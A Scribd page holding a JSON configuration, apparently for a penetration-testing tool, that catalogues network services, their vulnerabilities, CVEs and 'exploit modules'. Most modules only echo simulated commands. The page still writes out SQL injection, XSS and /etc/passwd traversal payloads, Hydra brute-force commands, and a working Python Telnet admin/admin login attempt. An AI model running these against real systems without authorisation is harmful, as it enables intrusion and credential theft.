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The document outlines various network services (HTTP, SSH, FTP, SMB, Telnet, DNS, SMTP) and their associated vulnerabilities, including SQL Injection, Directory Traversal, and Brute Force Attacks. Each vulnerability is described with its exploitation methods, tools, and example commands for testing. Additionally, it includes specific exploit modules for practical application in security assessments.

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0% found this document useful (0 votes)
42 views7 pages

Code

The document outlines various network services (HTTP, SSH, FTP, SMB, Telnet, DNS, SMTP) and their associated vulnerabilities, including SQL Injection, Directory Traversal, and Brute Force Attacks. Each vulnerability is described with its exploitation methods, tools, and example commands for testing. Additionally, it includes specific exploit modules for practical application in security assessments.

Uploaded by

1tecin4pro
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd

{

"services": {
"http": {
"name": "HTTP/HTTPS",
"vulnerabilities": [
{
"name": "SQL Injection",
"description": "Vulnerabilities allowing an attacker to interfere with
the queries that an application makes to its database.",
"tools": ["SQLmap", "Burp Suite", "OWASP ZAP"],
"exploitation": "Use sqlmap with --url parameter or manually inject SQL
payloads. Example: ' OR '1'='1",
"cve": ["CVE-2021-32699", "CVE-2022-31159"],
"exploit_modules": [
{
"name": "SQLmap Basic GET Test",
"type": "command",
"description": "Basic SQL injection test on a URL parameter using
SQLmap (placeholder).",
"risk_level": "high",
"requires_auth": false,
"parameters": [
{"name": "url", "type": "string", "description": "Target URL with a
query parameter (e.g., http://site.com/page?id=1)", "required": true},
{"name": "param_to_test", "type": "string", "description":
"Parameter name to test (e.g., id)", "required": true}
],
"command": "echo 'Simulating: sqlmap -u \"{url}\" -
p \"{param_to_test}\" --batch --level=1 --risk=1'"
},
{
"name": "Manual SQLi Payload (Error Based)",
"type": "python",
"description": "Attempts a very basic error-based SQL injection
payload via GET request (placeholder).",
"risk_level": "medium",
"requires_auth": false,
"parameters": [
{"name": "url", "type": "string", "description": "Target URL
(without query string, e.g., http://site.com/page)", "required": true},
{"name": "param_name", "type": "string", "description": "Name of
the GET parameter", "required": true}
],
"code": "import subprocess\nimport urllib.parse\ndef
run_exploit(target_ip, target_port, url, param_name):\n payload =
urllib.parse.quote(\"' OR '1'='1-- -\", safe='')\n full_url = f'{url}?
{param_name}={payload}'\n # In a real scenario, use requests library or similar,
not just echo\n print(f'Simulating GET request to: {full_url}')\n # Example
with curl (if available):\n # cmd = ['curl', '-s', '-I', full_url] # -I for
headers only\n # process = subprocess.Popen(cmd, stdout=subprocess.PIPE,
stderr=subprocess.PIPE, text=True)\n # stdout, stderr = process.communicate()\n
# return f'Sent payload. Response headers would be here (simulated).\\nSTDOUT:
{stdout}\\nSTDERR: {stderr}'\n return f'Simulated payload sent to {full_url}.
Check response for SQL errors or unexpected behavior.'"
}
]
},
{
"name": "Directory Traversal",
"description": "Allows an attacker to access files and directories stored
outside the web root folder.",
"tools": ["DotDotPwn", "Burp Suite", "Nikto"],
"exploitation": "Attempt to access files like ../../etc/passwd.",
"cve": ["CVE-2020-5902"],
"exploit_modules": [
{
"name": "Basic Directory Traversal Check (passwd)",
"type": "command",
"description": "Checks for /etc/passwd using common traversal
patterns via curl (placeholder).",
"risk_level": "medium",
"requires_auth": false,
"parameters": [
{"name": "base_url", "type": "string", "description": "Base URL of
the target (e.g., http://target.com/vulnerable_script.php?file=)", "required":
true}
],
"command": "echo 'Simulating: curl -
s \"{base_url}../../../../../../../../etc/passwd\"' && echo 'Simulating: curl -
s \"{base_url}....//....//....//....//etc/passwd\"'"
}
]
},
{
"name": "Cross-Site Scripting (XSS) - Reflected",
"description": "Injecting malicious scripts into benign and trusted
websites, executed in the victim's browser.",
"tools": ["XSSer", "OWASP ZAP", "Burp Suite"],
"exploitation": "Inject <script>alert('XSS')</script> into input fields
reflected on the page.",
"cve": ["CVE-2022-22963"],
"exploit_modules": [
{
"name": "Reflected XSS Test (Basic Alert)",
"type": "python",
"description": "Constructs a URL with a basic XSS payload for manual
testing (placeholder). Does not execute, just shows the URL.",
"risk_level": "low",
"requires_auth": false,
"parameters": [
{"name": "url_with_param", "type": "string", "description": "URL
with a parameter that might be vulnerable (e.g., http://site.com/search?query=)",
"required": true}
],
"code": "import urllib.parse\ndef run_exploit(target_ip, target_port,
url_with_param):\n payload = urllib.parse.quote('<script>alert(\"XSS
Test\")</script>')\n test_url = f'{url_with_param}{payload}'\n return
f'Constructed XSS test URL (manual verification needed):\\n{test_url}\\nPaste this
into a browser. If an alert box with \"XSS Test\" appears, it is vulnerable.'"
}
]
}
]
},
"ssh": {
"name": "SSH",
"vulnerabilities": [
{
"name": "Brute Force Attack",
"description": "Attempting to guess credentials by trying many
combinations.",
"tools": ["Hydra", "Metasploit", "Ncrack"],
"exploitation": "hydra -l username -P password_list ssh://{target_ip}:
{target_port}",
"cve": [],
"exploit_modules": [
{
"name": "SSH Brute Force with Hydra (Single User)",
"type": "command",
"description": "Attempt to brute force SSH credentials for a single
user using Hydra (placeholder).",
"risk_level": "high",
"requires_auth": false,
"parameters": [
{"name": "username", "type": "string", "description": "Target
username", "required": true},
{"name": "wordlist", "type": "file", "description": "Password
wordlist file path", "required": true},
{"name": "tasks", "type": "string", "description": "Number of
parallel tasks for Hydra (e.g., 4)", "required": false, "default": "4"}
],
"command": "echo 'Simulating: hydra -t {tasks|4} -l {username} -P
{wordlist} ssh://{target_ip} -s {target_port}'"
}
]
},
{
"name": "Weak Key Exchange Algorithms",
"description": "SSH server supports outdated or weak key exchange
algorithms (e.g., diffie-hellman-group1-sha1).",
"tools": ["nmap (ssh2-enum-algos script)"],
"exploitation": "Use nmap's ssh2-enum-algos script to identify supported
algorithms.",
"cve": [],
"exploit_modules": [
{
"name": "Nmap SSH2 Enum Algos",
"type": "command",
"description": "Uses nmap to enumerate SSH algorithms supported by
the server (placeholder).",
"risk_level": "informational",
"requires_auth": false,
"parameters": [],
"command": "echo 'Simulating: nmap -p {target_port} --script ssh2-
enum-algos {target_ip}'"
}
]
}
]
},
"ftp": {
"name": "FTP",
"vulnerabilities": [
{
"name": "Anonymous FTP Login",
"description": "FTP server allows login with username 'anonymous' or
'ftp' and any password.",
"tools": ["Nmap (ftp-anon script)", "ftp command-line"],
"exploitation": "Try logging in with username 'anonymous' and a common
email as password.",
"cve": [],
"exploit_modules": [
{
"name": "Nmap FTP Anonymous Check",
"type": "command",
"description": "Uses nmap's ftp-anon script to check for anonymous
FTP login (placeholder).",
"risk_level": "medium",
"requires_auth": false,
"parameters": [],
"command": "echo 'Simulating: nmap -p {target_port} --script ftp-anon
{target_ip}'"
}
]
},
{
"name": "FTP Brute Force",
"description": "Attempting to guess FTP credentials.",
"tools": ["Hydra"],
"exploitation": "hydra -L userlist.txt -P passlist.txt
ftp://{target_ip}",
"cve": [],
"exploit_modules": [
{
"name": "FTP Brute Force with Hydra",
"type": "command",
"description": "Attempt to brute force FTP credentials using Hydra
(placeholder).",
"risk_level": "high",
"requires_auth": false,
"parameters": [
{"name": "userlist", "type": "file", "description": "Username list
file path", "required": true},
{"name": "passlist", "type": "file", "description": "Password list
file path", "required": true}
],
"command": "echo 'Simulating: hydra -L {userlist} -P {passlist}
ftp://{target_ip}:{target_port}'"
}
]
}
]
},
"smb": {
"name": "SMB/CIFS",
"vulnerabilities": [
{
"name": "MS17-010 (EternalBlue) Vulnerability Check",
"description": "Checks for vulnerability to MS17-010, exploited by
EternalBlue/WannaCry.",
"tools": ["Nmap (smb-vuln-ms17-010 script)", "Metasploit"],
"exploitation": "Use nmap --script smb-vuln-ms17-010.nse -p445 <host>",
"cve": ["CVE-2017-0143", "CVE-2017-0144", "CVE-2017-0145", "CVE-2017-
0146", "CVE-2017-0147", "CVE-2017-0148"],
"exploit_modules": [
{
"name": "Nmap EternalBlue Vulnerability Scanner",
"type": "command",
"description": "Uses nmap's script to check for MS17-010
(placeholder). Ensure port is 445 or 139.",
"risk_level": "critical",
"requires_auth": false,
"parameters": [],
"command": "echo 'Simulating: nmap --script smb-vuln-ms17-010 -p
{target_port} {target_ip}'"
}
]
},
{
"name": "SMB Null Session / Share Enumeration",
"description": "Allows enumeration of shares, users, and other
information via an anonymous (null) session.",
"tools": ["smbclient", "enum4linux", "Nmap (smb-enum-shares, smb-enum-
users scripts)"],
"exploitation": "smbclient -L //{target_ip} -N",
"cve": [],
"exploit_modules": [
{
"name": "SMB List Shares (Null Session)",
"type": "command",
"description": "Attempts to list SMB shares using smbclient with a
null session (placeholder).",
"risk_level": "medium",
"requires_auth": false,
"parameters": [],
"command": "echo 'Simulating: smbclient -L //{target_ip} -N -p
{target_port}'"
}
]
}
]
},
"telnet": {
"name": "Telnet",
"vulnerabilities": [
{
"name": "Default Credentials",
"description": "Telnet service running with common default
credentials.",
"tools": ["Ncrack", "Hydra", "Manual Telnet"],
"exploitation": "Attempt login with common default
username/password pairs like admin/admin, root/root, user/user.",
"cve": [],
"exploit_modules": [
{
"name": "Telnet Default Credential Check (admin/admin)",
"type": "python",
"description": "A very basic attempt to connect via Telnet
with admin/admin (placeholder). This is highly simplified.",
"risk_level": "high",
"requires_auth": false,
"parameters": [],
"code": "import telnetlib\nimport socket\ndef
run_exploit(target_ip, target_port):\n try:\n tn =
telnetlib.Telnet(target_ip, int(target_port), timeout=5)\n
tn.read_until(b'login: ', timeout=3)\n tn.write(b'admin\\n')\n
tn.read_until(b'Password: ', timeout=3)\n tn.write(b'admin\\n')\n #
This is a very naive check. Real output parsing is complex.\n response =
tn.read_very_eager().decode('ascii', 'ignore') # Non-blocking read\n
tn.close()\n if '#' in response or '$' in response or '>' in response: #
Common shell prompts\n return f'Potential success with admin/admin.
Response snippet: {response[:100]}'\n return f'Attempted admin/admin. No
clear success indicator. Response snippet: {response[:100]}'\n except
(socket.timeout, ConnectionRefusedError, EOFError) as e:\n return f'Telnet
connection failed or timed out: {str(e)}'\n except Exception as e:\n
return f'Error during Telnet attempt: {str(e)}'"
}
]
}
]
},
"dns": {
"name": "DNS",
"vulnerabilities": [
{
"name": "DNS Zone Transfer (AXFR)",
"description": "Allows an unauthenticated user to request a full
copy of a DNS zone, revealing all DNS records for a domain.",
"tools": ["dig", "nslookup", "fierce"],
"exploitation": "dig AXFR @{target_ip} <domain_name>",
"cve": [],
"exploit_modules": [
{
"name": "Attempt DNS Zone Transfer (dig)",
"type": "command",
"description": "Attempts a DNS zone transfer using 'dig'
(placeholder).",
"risk_level": "medium",
"requires_auth": false,
"parameters": [
{"name": "domain_name", "type": "string",
"description": "The domain name to attempt the zone transfer for", "required":
true}
],
"command": "echo 'Simulating: dig AXFR @{target_ip}
{domain_name} -p {target_port}'"
}
]
}
]
},
"smtp": {
"name": "SMTP",
"vulnerabilities": [
{
"name": "User Enumeration (VRFY/EXPN)",
"description": "SMTP server responds to VRFY or EXPN commands,
which can be used to enumerate valid email users.",
"tools": ["smtp-user-enum", "Nmap (smtp-commands, smtp-enum-users
scripts)", "telnet"],
"exploitation": "Connect to SMTP and issue VRFY <username> or EXPN
<listname>.",
"cve": [],
"exploit_modules": [
{
"name": "Nmap SMTP User Enumeration",
"type": "command",
"description": "Uses nmap's smtp-enum-users.nse script
(placeholder).",
"risk_level": "low",
"requires_auth": false,
"parameters": [],
"command": "echo 'Simulating: nmap -p {target_port} --
script smtp-enum-users.nse {target_ip}'"
}
]
}
]
}
}
}

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